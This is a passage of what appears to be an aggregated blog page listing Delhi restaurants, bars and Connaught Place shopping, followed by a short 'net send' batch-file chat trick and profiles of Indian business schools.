Dr Zakir Hussain Marg,
tel #4363030.

Blooms,
Park Royal,
Nehru Place,
tel # 011-6223344
China Fare ,
27 A, Khan Market,
tel # 011-4618602.

Chinese Room ,
Ambassador Hotel,
Sujan Singh Park,
tel # 4632600.
Chopsticks, ***
Asian Games Village,
Khel Gaon Marg,
tel # 6492348,6493628.

Chung Wa ,
Greater Kailash-2 Market,
tel # 011-6227877.

Daitchi,
E 19A South Extension-2 Market,
tel # 011-6447511.
Drums of Heaven , ****
S 14, Green Park Extension,
tel # 011-661779.
Empress of China ,
The Park Royal,
Nehru Place,
tel # 011-6223344:

Fa Yian , *****
25/2 A Block Middle Circle,
Connaught Place,
tel #3324603, 3324239.

Faley's,
14, Defence Colony Market, tel # 4623612.
Fujiya, ****
12/48 Malcha Marg Shopping Centre,
tel # 011-3016059.

The Golden Dragon ,***
22-23 Panchsheel Enclave,
DDA Market,
tel # 011-6436682.
A branch at C-2, Main Market Vasant Vihar
, tel #011-6141849.

Golden Phoenix ,
Hotel Le Meridien,
1, Windsor Place,
tel # 011-3710101.

House of Ming , ****
Taj Mahal Hotel,
1, Mansingh Road,
tel # 3016162

Ichiban,
9, Pandara Road Market,
tel # 011-3386689.
Jade Garden ,
Hotel Claridges,
12, Aurangzeb Road,
tel # 3010211.
Jewel of the East ,
The Ashok,
Chanakyapuri,
tel # 011-6110101.

Lee's Garden ,
M-Block Market,
Greater Kailash 1,
tel # 6442519.
Lotus Garden ,
SF 9, Bhikaiji Cama Bhawan,
tel # 011-6110244.
Lotus Pond ,
Near Crowne Plaza Surya Hotel,
New Friends Colony., tel # 011-6839256.

Mandarin Room ,
Hotel Janpath,
Janpath,
tel # 011-3320070.
Moet's, *
50, Defence Colony Market,
tel # 011-4626814.
Nirula's Chinese Room ,
L-Block, Connaught Circus,
tel # 3324659.

Noble House ,
Intercontinental,
Barakhamba Road,
tel # 011-3320101.

Peking Square ,
Defence Colony Market,
tel # 011-4693388.
Princess Garden ,
South Extension-Part 2 Market,
tel # 011-6476950.

Salt & Pepper ,
M Block Market,
Greater Kailash-1,
tel # 011-6223076, 6417796.

Sampan,
Hotel Crowne Plaza Surya,
New Friends Colony,
tel#6835070.

Shaolin,
Centaur Hotel,
Near IGIA,
tel # 011-5481411.

Shen Chou Gourmet Gallery ,
E-12, South Extension--2,
tel # 011-6224651, 6224652.

Sukothai,
24 Hauz Khas Village,
tel # 011-6853846.
Suribachi
Panchsheela-Malviya Nagar Road,
tel # 011-6447744.

Szechwan Garden ,
8 Hauz Khas Village,
tel # 011-6858063.
Taipan,
The Oberoi,
Dr Zakir Hussain Marg,
tel # 4363030.
Tea House of the August Moon*****
Taj Palace,
1 Sardar Patel Marg,
tel # 011-3010404.

The Silk Orchid ,
Intercontinental,
Barakhamba Road,
tel # 011-3320101,
(only dinner).

TK's,
Hyatt Regency Hotel,
1 Bhikaji Cama Place,
tel #6181234.
Tokyo,
The Ashok,
Chanakyapuri,
tel # 011-6110101.

Wanchai,
Lodhi Hotel,
tel # 011-4362422.
Yokohama,
10/48 Malcha Marg Shopping Complex,
tel # 011-372444.

Zen Restaurant ,
B-25, Connaught Place, t
el # 011-3320424.

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About Connaught Place
Connaught place, also called as CP, is located at the heart of New Delhi. It was
built in 1931. Connaught place happens to be the commercial hub of Delhi. It
depicts the style of British architecture which was very planned and well
structured. The glamour is still there and people love coming to CP for shopping
and entertainment.

Markets and shops in Connaught place are structured in the form of rings
comprising of inner and outer circle. Connaught place has been renamed as Rajiv
Chowk. The British rule at that time thought that the circular structure of the
market would be beneficial for both the shopkeepers and the shoppers. Connaught
Place has been modeled after the Royal Crescent in Bath, England. Connaught
place is easily recognized in the map of Delhi which is again given in this
site (category Map) because it stands out like a circle with roads
plying from many points on the circumference of the circular structure.

Connaught Place has always been the most sought after destination for both
tourist as well as the resident population. You would find everything here,
right from a grocery store to a car showroom. Connaught place has a
PVR Cineplex which matches the best in the
city. The restaurants, the cafes, the road side handicraft shops and the
colorful crowd add to the glory of this very historic place.
Any tourist traveling to India must visit
the Connaught Place once. Connaught place has emporiums from every state of
India. Connaught Place also has branches of major National and International
banks, along with the offices of tours operators and
airlines in India.

Shopping in Connaught Place
Connaught place provides the best resource to shop with a number of options
available. Connaught place is surrounded by Panchkula Marg, Kasturba Gandhi Marg,
Baba Khadak Singh Marg and Barakhamba Marg.
The place is flooded with shops and marketing complexes where you will have
every thing under one roof. It has been one of the most sought after
shopping destinations of Delhi. The aura of the
place and the unique specialty ensure that you don't return empty handed. Among the
most popular items here in Connaught place, you can find imported electronic
goods, sports items, books, household goods, handicrafts, etc. Connaught Place
lures every visitor with its exotic design and shopping spur. Another specialty
lies in the multi dimensional environment of the place where you would find
hotels, restaurants, pubs, Bars, cinema halls and office of major
establishments. The market is closed during Sundays and has special attraction
in festival seasons. The most happening time to visit Connaught place is during
evening when the crowd gathers to enjoy the exquisite evening with the bliss of
having a wonderful shopping experience.

Dinning in Connaught place
Connaught place comprises of three circles; inner, outer and middle circles.
Food lovers and gourmets find the place an ultimate destination which has
variety and quality to offer. The outer circle would give a wonderful spree of
restaurants and cafes. Outer circle includes renowned names like Braista Coffee
Lounge, Ruby Tuesday, McDonalds, TGI Friday's, Nirulas and the famous Chatori
Ghalli.

Markets in Connaught Place:
Main markets in and around Connaught place are Janpath and Palika Bazar. Janpath
happens to be one of most important places where you would find latest fashion
clothes and other goods that are popular in modern trend. Connaught Place is a
major attraction for tourists and young generation who find the place an ideal
shopping destination with latest fashion trends. Palika Bazar and Janpath happen
to be the popular markets here, suiting all pockets and catering to the latest
fashion trends.

Janpath: Shops in Janpath sell latest trendy
clothes and fashionable items at cheap prices. These shops are very popular
among foreigners who love buying Indian jewelry,
handicrafts and other antique items. Having pointed out the specialty
of these shops, it is imperative to mention the precaution one should take while
buying anything from these shops. Shopkeepers in Janpath take advantage of the
ignorance of foreigners about the price and quality of the market. Another
specialty lies in the state emporiums from different Indian states. Handicrafts
lovers would find the place an ideal destination for Handicrafts goods. Apart
from trendy shops, Janpath has cafes and restaurants serving
delicious food.

Palika bazaar is also very popular which has always attracted tourists
for its unique peculiarity of a wonderful shopping experience under one roof.
The underground market is located in the inner circle of Connaught Place which
can be reached from any point on the circumference of the inner circle. The
specialty lies in its underground structure and the shops, who sell almost every
thing a normal buyer would want to buy for his/her daily need and fashion. You
can say that the place fulfills every shopping need. The market is ideally
suited for shopping in summer and also in winters because people are saved from
sprawling heat and cold respectively. It is famous for electronic goods,
fashionable clothes, perfumes, leather goods, photography equipments, etc. The
underground market has cafes and small eateries where you can enjoy some good
snacks while you shop. The garden above the market is an ideal place to meet and
date your friends. Spending some time in the garden really makes you feel good
as it has a beautiful view of Connaught Place. With the advent of Metro service
to Connaught Place, the market has regained its charm among youngsters who were
shifting to latest malls and other shopping destinations.

Shopping at Palika bazaar needs some bargaining experience because at the
first say they generally ask for a much higher price and anybody can be bowled
by them. So, it is important that you bargain well and look for the authenticity
of the goods. Palika Bazaar is famous for electronic goods and people visit the
market for buying CDs of new movie releases and songs. The market is a big
station for pirated CDs of Indian movies. Police have often raided the place for
selling these pirated movie CDs and some porn stuffs that are one of the prime
features of the market. Most of these goods are pirated and smuggled from other
countries. So, one should be careful while shopping here in Palika Bazaar.

Parking in Connaught Place
Parking at Connaught Place is a big problem with so many vehicles lined up
for parking space. However, there is an underground parking in place but with
the increasing number of vehicles in the city, it has become very difficult for
the authorities to manage the traffic. With the new plan of NDMC, things are
expected to get better and also the running of Delhi Metro to Connaught Place
has lessened the traffic to a great extent. Parking here is very expensive which
means you will have to spend a few bucks to park your vehicles. Palika parking
is a good option at present which is under plans of renovation which would have
multi-level parking space. At the moment it is the only place where you can have
your vehicles parked with a few other empty spots in and around CP.

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Eating Out in Delhi

From the by lanes of the walled city to the swanky hotels and restaurants, Delhi
has the taste of all. Delhi gives you the option of choosing from the wide
variety of cuisines, which is a mixture of regional and international food.

Delhi loves its food which is a blend of North Indian, South Indian, Chinese,
Continental and American lifestyle fast food. All these varieties are readily
available in every parts of Delhi. International chains such as McDonalds,
Dominos, Pizza Hut, Pizza Express, Wimpy and TGIF have a good strong chain all
over Delhi.

Some of the places worth visiting are:

Berco's and Fa Yian, for Chinese food

Karim's and Nizam's, for Mughlai food

Nirula's for a mix of Indian and western fast food

Sagar, in Defence Colony for Udipi food

English Dairy, a popular dhaba in Connaught Place for inexpensive vegetarian
food

However, if you are a food lover and want to spend an evening with your friends
and lovers in a rich ambience then these are the places to look for:

Delhi ka Aangan (Hyatt Regency)

Darbar (Ashoka Hotel)

Corbetts (Claridges)

Bukhara (Maurya Sheraton)

Frontier (Ashoka Hotel)

Baluchi (The Hilton)

EI Arab (Regal Building)

Dum Pukht or the process of slow cooking developed in Awadh (Maurya Sheraton)

Kashmiri food at Chor Bizarre (Hotel Broadway)

Thai food at Baan Tahi (The Oberoi)

Sukothai ( Hauz Khas village)

Japanese food at Tokyo (Ashoka Hotel)

Osaka (Haus Khas village)Taste of Delhi

Tradition of Delectable Delicacies

If you talk of Mughlai food in Delhi, there are hundreds of joints, some good,
some better and some average. But if you want your taste buds to be treated
royally and the aroma of rich Indian spices creates magic in your senses, then
there is one address where you should be heading straight to; and that is
Karim’s.

Yo Yoghurt : Lassi

Considered a front runner among summer coolers in the searing heat, the humble
lassi has come of age in its new avatar. This modest thirst quencher is no
longer confined to the traditional curd base as the new-age lassiwala are
presenting the drink with innovative flavours.

Well, if you are looking for a cheap and best option, you have the options like
Gulati Restaurant (Pandara Market), Angeethi (Asiad Village) and Degchi (Regal
Building). To add to that, there are a number of famous road side "dhabas",
which are highly sought for by people from all sections of the society. Some of
these are roadside eateries around Jama Masjid and Nizamuddin where kababs,
rotis and biryani are the order of the day.

VARITIES OF FOOD IN DELHI

Chinese Food: Chinese food is available in every five star hotel in India while
most restaurants in Delhi do serve Chinese food. Chinese food is very popular
among the people of Delhi, which goes to show the reason why we have large
number of Chinese cuisines in the city, not to mention the road side fast food
with delicious Chinese food.

Continental Food: Continental cuisines can be had at five star hotels like La
Rochelle (The Oberoi), the Orient Express (Taj Palace) and Captains Cabins (Taj
Man Singh). Continental food is also available at various multi-cuisine
restaurants within the city.

Desi Junk Food: you can have the taste of various desi food available at every
nook and corner of the city. Among the very popular and widely available are
chat, gol guppe, paranthe, bhelpuri, chaat papri, etc.

These stuffs can be found at places like:

Bengali Market near Connaught Place in the center of Delhi.

Haldiram's stores located at every parts of the city offer chat, sweets and
other spicy items.

Ashok's near Chawri Bazaar in Old Delhi is famous for Chaat. Things To Do

Indian Cuisines: The most popular and one of the delightful offerings of Indian
cuisines can be found at Delhi Haat, where you can have the taste of real India.
Delhi Haat has food stalls from almost every state in India, which offer cheap
and quality food. The place has special importance in the sense that quality
food is coupled with swanky market depicting arts and crafts culture of India.
For food lovers, eateries such as those at Pranthe wali gali, or chaat at
Bengali Market and sunder Nagar, bhelpuri at Greater Kailash and sweetmeats from
Annapoorna and Ghantewala can be a part of the gastronomical tour of Delhi.

Italian: Italian food is very popular all over India and especially in Delhi
where people love to have Italian food. Most of the restaurants and Hotels in
Delhi serve Italian food with some specific Italian restaurant serving quality
food.
Among the most common Italian restaurants, we have:

Little Italy, Defence Colony Market

The West View at Maurya Sheraton, Olive near the Qutub Minar, Diva at Greater
Kailash Pt.2, San Gimignano at Imperial Hotel and La Piazza at Hyatt Regency
offer some of the best authentic Italian food in the South-Asian continent.

The Big Chill, Khan Market and East of Kailash, is popular with a young crowd
for great smoothies, ice creams, cheesecakes and Italian food.

Flavours of Italy, near the Moolchand Flyover.

Thai Food: If you are a lover of Thai food, then you must visit:

EGO Thai at Friends Colony Market

Culinaire at GK2

Chilli Seasons at Lodhi Colony market

Ban Thai at the Oberoi hotel

NWFP & Tandoori Food:
Some of the popular Tandoori destinations in Delhi are:

Moti Mahal Deluxe and Havemore at Pandara Park.

Bukhara at Maurya Sheraton. This restaurant is featured in the book, "1001
Places to Visit", which is the best in terms of taste, ambience and quality.

Others notables include Chor Bizzare and Punjabi by Nature.

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Restaurants in Connaught Place and Central Delhi

Café 100 , B-Block, Connaught Place. Ice creams galore, plus pizzas, burgers and
fries to take away or eat in (standing). Long lunchtime queues; buy a meal
ticket before you reach the counter.

Don't Pass Me By , 79 Scindia House. Friendly, inexpensive and tasty veg and
non-veg Chinese restaurant just off Janpath, popular with travellers staying
nearby. Go early for full-on breakfasts. They also run a reliable travel
service.

El Arab , Sansad Marg. Great place for Middle-Eastern dishes on the corner of
Sansad Marg and the outer ring of Connaught Place, with prices ranging from
medium to high. Tasty hummus, baba ghanoush and Lebanese salads in an
excellent-value daily lunchtime buffet.

Gaylord, near Connaught place, Originally Delhi's top nightclub, now limited to
serving standard but expensive Indian dishes in plush surroundings lit by
glittering chandeliers.

Host , F-Block. Air-con relief from the Indian heat, and a good place to sit
with a beer, silver-service tea, or strong filter coffee. The standard
multi-cuisine, however, is unexciting and meals are overpriced.

Kovil , 2 E-Block, Connaught Place. Fresh, no-smoking restaurant and takeaway
serving exclusively south Indian veg dishes, with great dosas , and delicious
full thalis (around Rs150) at lunch-time.

Kwality , Regal Building, Sansad Marg. High standards of service and hygiene,
with good but unspectacular international cuisine; renowned for its channa
batura , a particular speciality of Delhi.

National , opposite L-Block, Connaught Place. The best of a bunch of inexpensive
sit-down restaurants, with great fiery curries, and an endless supply of
chapatis.

Nirula's , 135 L-Block, Connaught Place. Choose from the downstairs snack bar
(serving packed lunches), the Chinese or tasty multi-cuisine rooms upstairs, or
sample some of the fifty flavours of delicious ice cream in the parlour. A
second branch on N-Block, near the Wimpy , is a popular snack bar with smooth
ice-cream shakes.

Parikrama , Kasturba Gandhi Marg. Novel and expensive Indian and Chinese cuisine
in a revolving restaurant worth a visit.

Pizza Express , D-10 Connaught Place. An ambience and menu identical with their
restaurants abroad; so are the prices, which makes it expensive for Delhi,
especially their drinks menu.

Rodeo , 12 A-Block, Connaught Place. New-Mexican restaurant with Wild West
waiters, crooning karaoke, swinging saddle bar stools, pitchers of beer,
cocktails, excellent fajitas and moderate prices.

Sona Rupa , 46 Janpath. Good Indian and Chinese food, extremely popular with
families. No-nonsense prices, and dramatic dosa -flinging in the open-fronted
kitchen downstairs. Beer and north Indian food upstairs; buy a food ticket at
the till and present it to the cooks.

Spice Route , Hotel Imperial , Janpath. The beautifully decorated and expensive
restaurant specializes in spicy Thai and Kerala cuisine and is widely considered
to be one of the best restaurants in Asia.

Standard , 44 Regal Buildings, Connaught Place. Close to the Regal Cinema, with
two food halls, one for the best-value south Indian thalis in town, and the
other for north Indian and tandoori specials and chilled beer on tap.

Surang , Alka Hotel , 16-90 P-Block, Connaught Place. A minor treat - delicious
tandoori and Mughlai specialities. Vegetarians should try the Vega restaurant
(also in the Alka Hotel ), where the purest Indian veg dishes are served with
ginger kulcha .

United Coffee House , 15 E-Block, Connaught Place. Together with the Host , this
is a long-standing favourite, and does great coffee and cold beer. The food is
very good and portions are ample, but as a whole it's overpriced.

The Dhaba , Claridges Hotel , 12 Aurangzeb Rd. Designed to look like a trucker's
café, with a reconstructed truck to add atmosphere - for those who want really
good dhaba cooking without the grime of a roadside truck stop.

Fujiya , Malcha Marg Market, Chanakyapuri. A pilgrimage place for homesick
Chinese tourists and well worth the queues. Superb, piping-hot Chinese dishes
and fast service.

Karim's , Nizamuddin. Unmissable Mughlai cooking, although not as good as its
Old Delhi counterpart. The sumptuous food is very rich, offering much-renowned
specialities, plus kebabs, korma and rumali roti (super-thin bread).

Moti Mahal , Netaji Shubash Marg, Darya Ganj. On the noisy main road south of
Jami Masjid, this once smart restaurant, established in 1947, may have seen
better days but is still renowned as the home of tandoori chicken.

Natraj Bhalla Corner , Chandni Chowk. Right next to the Central Bank, midway
along Chandni Chowk. Cosy first-floor snack bar with a few window seats and a
limited menu comprising Indian, Western and Chinese options.

Paratha Wali Gali , Chandni Chowk. Opposite the Central Bank, down an alley that
leads behind Kanwarji Raj Kumar Sweet Shop. Follow the smell of rich ghee (the
lane's hallmark from more than a century dedicated to paratha -making) to any of
the several tiny rooms squeezed behind counters displaying pure veg food. Here
you choose a paratha to go with standard veg dishes, filled with anything from
paneer and gobi to mutter and mooli, all cooked to order, a culinary treat that
will set you back around Rs30.

Soni Bhojnalaya , Nai Sarak. First-floor restaurant at the top of a yellow
staircase opposite Bina Musical Stores, 30m off Chandni Chowk. Great thalis in
typically Indian unfussy surroundings.

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BARS & PUBS IN DELHI

The city has good world class restaurants and bars where you can have liquors,
drinks and cocktails of different varieties. Some of the places worth visiting
are:

Turquoise Cottage

Turquoise Cottage pub serves the finest spirits, wines, cocktails, mock tails
and delicious food.

Timings: 12.30 - 3.30p.m. and 7.30 - 11.30 p.m.
Avg. meal for two: 1200

81/3, Adchini Sri Aurbindo Marg
New Delhi
Tel:+(91)-(11)- 2685 3896

Geoffrey's
The city’s most popular trendy resto-bar is situated near Andews Ganj.

This resto-bar specializes in Chicken satays, Veg combo plate, Tandoori items like
Reshmi Kababs, Bannu Kababs and in Non-veg platters, Grilled fish, Oriental
fish, Crispy fish filleg.

Opening Hours: Noon-1.00 a.m.

Happy hours: 5.00 p.m.-8.00 p.m.

Avg. meal per head: Rs.500.

Lizard Lounge

The latest craze in South Delhi's is the Lizard Lounge. It provides lip-smacking
items like jumeria lamb steak and cocktails .

Avg. meal for two: 750.

E - 5 Ist Floor, South Extension II,
New Delhi 110048
Tel:+(91)-(11) - 3094 8208

Aura – The Vodka Bar
The Aura Vodka Bar is situated at Claridge's Hotel. Here all drinkers can drink
40 different types of vodka.

Timing: 4.00 p.m. - 1.00 a.m.

http://www.claridges-hotels.com/

12, Aurangzeb Road
New Delhi – 110011
Tel:+(91)-(11) - 4133 5133 2336 3358
Fax:+(91)-(11)- 2301 0625

1911 Bar
A classy bar of Hotel Imperial is located near Connaught Place.
This bar is well stocked with more than 500 varieties of fine wines, liquors and spirits.

http://www.theimperialindia.com

Hotel Imperial, Janpath
New Delhi – 110001
Tel:+(91)-(11)23341234 / 4150 1234
Fax:+(91)-(11)23342255

Henri's Bar
A fantastic venue located at the top of Le Meridien hotel, Henri's Bar is the
place to head for a drink. Enjoy your drinks with the live band in the evening.

Happy Hours 11:00 a.m. - 12:00 a.m.
Avg. meal for two: 1000

http://www.lemeridien-newdelhi.com

Le Méridien New Delhi, Windsor Place
New Delhi – 110001
Tel:+(91)-(11)23710101
Fax:+(91)-(11) 2371 4545

H2O
H2O, the private bar of Hotel Taj Ambassador is located close to the famous
Lodhi Gardens and Humuyan’s tomb. The main cuisine are Falafal, Lobster Pepper
Salt and the Grilled Prawns which you can relish along with a drink. Live music.

Open 12:00 p.m. -12:00 a.m., 12:00 a.m.-12:00 p.m.
Avg meal for two: Rs. 800.

http://www.tajhotels.com

The Ambassador Hotel - New Delhi Sujan Singh Park, Cornwallis Road
New Delhi – 110003
Tel:+(91)-(11) - 2463 2600
Fax:+(91)-(11) - 2463 2252, 2469 7232

Saqi Bar
This wonderful bar is located at Connaught Circus. It is an excellent choice if
you wish to enjoy an evening.

A must visit nightlife of Delhi.

Timing 10.00 a.m. to 7.00 p.m.

http://www.hotelalka.com

Hotel Alka P Block, Connaught Circus
New Delhi – 110001
Tel:+(91)-(11) - 2334 4000, 2334 4328
Fax:+(91)-(11) - 2374 2796

Opium Bar
An English bar is located at Hotel City Park near TV Tower. It has a vast
variety of International & National Sprits and mocktails. It also serves
Continental Food along with World’s Finest vintage wines and Exotic Cocktails.

Happy Hours are 03:00 p.m. to 8:00 pm

http://cityparkhotels.com

Hotel City Park K.P. Block, Pitampura
New Delhi – 110025
Tel:+(91)-(11) - 2731 0101 - 09
Fax:+(91)-(11) - 2731 0110

Capitol
The city’s most popular nightclub is situated at the Ashoka Hotel. It is a major
hive for the young, rich and beautiful on weekends.

Enjoy with DJ Music after 7.00 p.m.

http://www.theashok.com

The Ashok Hotel, 50 B, Chanakyapuri
New Delhi – 110021
Tel:+(91)-(11)26110101, 26116161
Fax:+(91)-(11)26876060,26873216

Orient Express Bar
A bar and award-winning restaurant at Taj Palace Hotel is known for continental
cuisine. It serves a menu that traces the legendary train’s journey through the
continent, culling specialities from each region. Jazz Duo performs every
evening.

Timings: 12:30 pm - 2:45 pm and 7:00 pm - 11:45 pm.

http://www.tajhotels.com

Taj Palace, Sardar Patel Marg, Diplomatic Enclave
New Delhi – 110021
Tel:+(91)-(11)26110202
Fax:+(91)-(11)26110808

Thugs

A delightful little bar is located on the first floor of Hotel Broadway. This
unique-style bar serves a wide range of drinks from whiskey and wines to special
cocktails.

Timings: 12.30 - 3.30p.m. and 7.30 - 11.30 p.m.

Avg. meal for two: 700

Broadway Hotel, 4/15 Asaf Ali Road
New Delhi – 110002
Tel:+(91)-(11) - 2327 3821

Athena
Recently set in Hotel Intercontinental Park Royal in Delhi, the white interior
of Athena is attracting a lot of liquor and food connoisseur. The bar is not
only famous for its quality drinks but also hosts a good range of dishes, namely
Peking Fish, Malaysian Shrimp. Athena has its head office at Bombay and endorse
one branch in Bangalore. Open: Noon-midnight daily.

Hotel Park Royal Nehru Place
New Delhi – 110019
Tel:+(91)-(11)- 5160 8912

Bacchus
Bacchus, the restro-bar is located at Priya Complex at the first floor. DJ at
night adds to the excitement. A must go in the happening Priya Complex !

5, Basant Lok, Vasant Vihar
New Delhi 110057
Tel:+(91)-(11) - 2615 6895

Polo Lounge
A typical English bar, Polo Lounge at Hotel Hyatt Regency offers a large variety
of Cuba's finest, at steep prices. This wonderful lounge boasts one of the most
exhaustive selection of international spirits - especially malt whiskies - as
well as a wide selection of liqueurs and exotic cocktails and mocktails.

Avg. meal for two: Rs. 1000.

http://delhi.regency.hyatt.com

Hotel Hyatt Regency, Bhikaiji Cama Place, Ring Road
New Delhi
Tel:+(91)-(11)2679 1234
Fax:+(91)-(11)2679 1122

Club Zeros
Located in posh M block market, Club Zeros serves some of the best liquor and
wines. It is an enchanting place with affordable drinks and a cool atmosphere.

M-71, Greater Kailash
New Delhi 110025
Tel:+(91)-(11)2685 7660

Pebble Street
South Delhi's 96 cover restaurant, Pebble Street serves multi-cuisine fare
including Mexican, Italian, Continental food and occasionly Indian food. Exotic
bar drinks and foot tapping music are also available. Happy Hours: 4.00 p.m. to
8.45 p.m.

http://www.pebble-street.com/

8 Community Centre, New Friends Colony.
New Delhi 110065
Tel:+(91)-(11) - 2684 4380

Vintage
Just 5 Minutes drive to the South Extension Market, GK Market & Nehru Place
Business Complex, Vintage, well stocked bar is located at Hotel Vikram. This a
great place to pass a pleasant evening with your favorite drinks.

http://www.hotelvikram.com/

Ring Road, Lajpat Nagar
New Delhi 110024
Tel:+(91)-(11)2643 6451
Fax:+(91)-(11)2643 5657

A True Happy Family

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Just look at their condition.. no place to sleep, still they have
Made some space for d cat n d dog… water poring from the roof but still
Each 1 of them have a peaceful smile on their face.. Simply amazing!!!!!

The happiest people in the world are not those who have no problems,
But those who learn to live with things that are less than perfect.
Keep Smiling Always!!!!

Computer Tricks

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Chat In command Prompt

If you want personal chat with a friend you don't need to download any yahoo messenger All you need is your

friends IP address and Command Prompt.

Firstly, open Notepad and enter:
@echo off
:A
Cls
echo MESSENGER
set /p n=User_Ip:
set /p m=Type your Message:
net send %n% %m%
Pause
Goto A
Now save this as "Messenger.bat". Open the .bat file and in Command

Prompt you should see:

MESSENGER

User_Ip:

After "User_Ip" type the IP address of the computer you want to contact.

After this, you should see this:
Type your Message:

Now type in the message you wish to send.
Before you press "Enter" it should look like this:

MESSENGER
UserIp:196.198.31.27

Type your Message: Hello

Now all you need to do is press "Enter", and start chatting!

East India Colleges

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IRMA was established in 1979 at Anand, Gujarat with the support of the Swiss Agency for Development Cooperation (SDC), the Government of India, the Government of Gujarat, erstwhile Indian Dairy Corporation and the National Dairy Development Board to provide management education, training, research and consultancy support to co-operatives and rural development organisations in India. IRMA is founded with the belief, borne out by Dr.Kurien’s work in the dairy co-operatives which revolutionised the dairy industry in the country, that the key for effective rural development is professional management. Professionalising the management of rural organisations calls for matching the specific but unmet needs of the sector with the formal techniques and skills of management professionals. Linking the two are the ‘rural managers’ prepared by IRMA through its two-years diploma (PRM) in rural management.
Born out of a maverick’s dream, IRMA has become a frontrunner in professionalising the development of India’s rural sector. Over the years it has provided management training, support and research facilities to students committed to rural development and in this process it has brought within its ambit several co-operatives, non-government organisations, government development agencies, international development organisations and funding agencies.

Location in India :-Institute of Rural Management Post Box No. 60, Anand 388001. Gujarat. India.

Comprehensive Exam :-Upon completion of the coursework every participant has to appear in the Comprehensive Examination. At present the Comprehensive Examination has three parts; general examination, area examination and a theme paper. Passing the comprehensive examination is compulsory for all the participants.

West India Colleges

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All classrooms in the institute are air-conditioned and have ceiling mounted LCDs. Most classrooms have a capacity of 60. In addition, the institute has a well equipped seminar hall and a conference hall.

The Computer center is equipped with branded personal computers adequately supported by 3mbps shared leased line for Internet connectivity. It is also equipped with a wide range of licensed system software and applications software. The entire campus is connected with Wi-Fi network

The well furnished and air conditioned NMIMS library has a stock of more than 40,000 volumes and subscribes to about 237 Indian and Foreign periodicals spanning all aspects of management. The library also houses 451 video’s, 319 audio’s, 180 CD’s, 139 VCD’s, annual reports, management games, news clippings, newsletters and case studies. The open access system facilities free use of books on the shelf.In order to facilitate among the students, the

Facilities:In addition to the regular services, NMIMS also provides facilities like inter library loans, audio listening facilities, etc. A photocopier is available within the library to make extraction of information easier. The library also organizes book exhibitions during the year.

The library is a member of BCL (British Council Library), AIRC (American Information Resource Centre), BMA (Bombay Management Association), MANLIBNET (Management Library Network), AVEHI (Audio Video Edu Resource Centre), Advance Standard Council of India and ECCH (European Case Clearing House Ltd).

Web URL : NMIMS

Indian Institute of Management, Indore
Indian Institute of Management Indore:Indian Institute of Management Indore the youngest sibling in the family of IIMs - has travelled quite a distance, since its inception 10 years ago. Rubbing shoulders with some well established giants, IIM Indore has now carved a niche for itself in the corporate world and the six batches that have passed out stand testimony to the fact. The essence of management, IIMI believes, lies in managing ones own ambitions and forging ahead consciously. (Quite a radical definition, this one!) "A strong theoretical foundation -
is the basis of good corporate practice" – this, coupled with a grounding in management as it is practiced, is the underlying theme of the Post Graduate Programme (PGP). Spanning two years the programme is benchmarked against similar programmes of the best business schools in the world. Experiential learning, IT orientation, and Social SensitivitybSocial Sensitivity are some of the unique features of the programme. To back this up IIM Indore has a solid infrastructure ranging from a 193 acre campus to a strong IT backbone to the latest in teaching aids.IIM Indores achievement in such a short span of time can be attributed to its innovative spirit and its will to excel.and, to a great extent, to the relationship it has developed with the Indore community.

PROGRAMMES : BrandBand Based Management Programmes

CAT 2007 : CAT Examination Date : November 18, 2007

Location in India : Pigdamber, Rau IndoreMadhya Pradesh INDIA

Web URL : Indian Institute of Management, Indore

North Colleges

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AMITY Business School
The Ritnand Balved Education Foundation (The Amity Foundation) is one of Indiaâ€™s leading non-profit Foundations active in the field of education.The Amity Foundation has established and funded some of the leading institutions in India , which have over 45,000 students across 600 acres of campuses. Amity is proud to hav-
e established the first and largest private (non-profit) University in India, the first wireless campus in India, the No. 1 ranked private Business School in India, the No 1 ranked biotechnology school and the best ranked pvt. Engineering School in terms of placements amongst many other achievements.Amity is always at the forefront of technology and education and was one of the first to launch programs like Cyber Law, Bioinformatics and Nanotechnology among many others. Amity institutions now have over 2500 faculty members which include six former Vice Chancellors and many renowned scientists, academicians and corporate leaders.The Amity Foundation has established over Rs. 50 Crores (USD 10 million) worth of Scholarships and Fellowships from which thousands of brilliant students have already benefited.PROGRAMSGraduatePost GraduateExecutive ProgramsDistance LearningInternational ProgramsFind the Right ProgramAMITY Colleges in INDIA
· Amity colleges of corporate warfare
· Amity colleges of commerce & finance, Noida, India.
Examinations Detail
ONLINE END TERM EXAMINATION/SUPPLEMENTARY EXAM
Examinations are conducted twice in a year at designed Examination Centres.
MBA PROGRAMMES
MBA (3 Years) / MBA[EFT] (2 Years)

Indian Institute of Foreign Trade
The Indian Institute of Foreign Trade (IIFT)College: The Indian Institute of Foreign Trade (IIFT) was set up in 1963 by the Government of India as an autonomous organisation to help professionalise the countrys foreign trade management and increase exports by developing human resources; generating, analysing and disseminating data; and conducting research.The Institute visualises its future role as: A catalyst for new ideas, concepts and skills for the internationalisation of the Indian economy.
The primary provider of training and research-based consultancy in the areas of international business, both for the corporate sector, Government and the students community. An institution with proven capability to continuously upgrade its knowledge base with a view to servicing the requirements of the Government, trade and industry through both sponsored and non-sponsored research and consultancy assignments. The Institutes portfolio of long-term programmes is diverse, catering to the requirements of aspiring International Business executives and mid-career professionals alike. These are: Two-year MBA (International Business), New Delhi, Kolkata, and Dar-es-Salaam Three-year MBA (International Business) (Part-Time), New Delhi and Kolkata Executive Masters in International Business, New Delhi Certificate Programme in Export Management, New Delhi IIFT has, over the years, undertaken path-breaking research studies with organisations like WTO, World Bank, UNCTAD and the Ministry of Commerce & Industry, Government of India. The Institute has also trained more than 40,000 business professionals across 30 countries in various facets of international business and trade policy via its Management Development Programmes.LOCATION IN INDIA :New Delhi Campus Address Kolkata Campus Address Courses :MBA : IBM.B.A : Part Time
Web URL : Indian Institute of Foreign Trade

International Management Institute
International Management Institute (IMI)(College Detail)International Management Institute (IMI) was established in 1981, as an autonomous non-profit educational society under the Societies Registration Act 1860 in collaboration with International Management Institute, Geneva to meet the widely felt need for internationally oriented management education/ training for managers at all levels in industry, government and public systems. The academic program’s of the institute continues to enjoy full support of the corporate sector as well as the-
